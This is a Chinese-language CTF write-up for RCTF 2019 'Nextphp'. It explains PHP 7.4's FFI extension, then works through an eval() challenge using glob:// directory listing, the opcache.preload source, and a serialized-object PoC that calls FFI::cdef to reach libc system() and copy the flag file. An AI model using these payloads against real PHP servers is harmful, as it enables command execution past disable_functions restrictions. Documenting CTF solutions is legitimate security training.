FFI(Foreign Function Interface)

FFI扩展已经通过RFC,正式成为php7.4的核心拓展;FFI,即外部函数接口,是指在一种语言中引用另外一种语言的技术;这里的FFI就是在php代码中调用C代码的技术;可以让我们很轻易的调用C写的各种库

通过FFI::cdef能创建一个新的FFI对象 并直接调用C语言的函数
1.png

php样例如下:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is a regular C declaration
    "libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

可以发现FFI能够直接调用底层c的函数执行命令
搜索一下printf对应的声明:
2.png
来搜索一下system对应的声明:
3.png
将官方样例改写

<?php
$ffi=FFI::cdef("const char* command");
$ffi->system('ls');
?>

即可执行system

0x02.[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

看一看phpinfo
4.png
把要ban的都ban的差不多了 obenbase_dir也做了限制
开启了FFI拓展
5.png
用glob协议读一下目录
?a=if($b=opendir("glob:///*")){while(($file=readdir($b))!==False){echo $file."</br>";}closedir($b);}
flag在根目录下
6.png
看一看html目录
7.png
还有一个Preload.php
注意到phpinfo中
8.png
opcache.preload是php7.4中的预加载
opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。
show_source读一读源码

 <?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

Poc:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char* command);'
    ];
 public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
}
$a = new A;
echo serialize($a);

得到C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}
传递
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}');var_dump($a->ret->system("cat /flag"));
9.png
没有回显
那么直接
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}');var_dump($a->ret->system("cp /flag /var/www/html/flag.txt"));
访问flag.txt即可拿到flag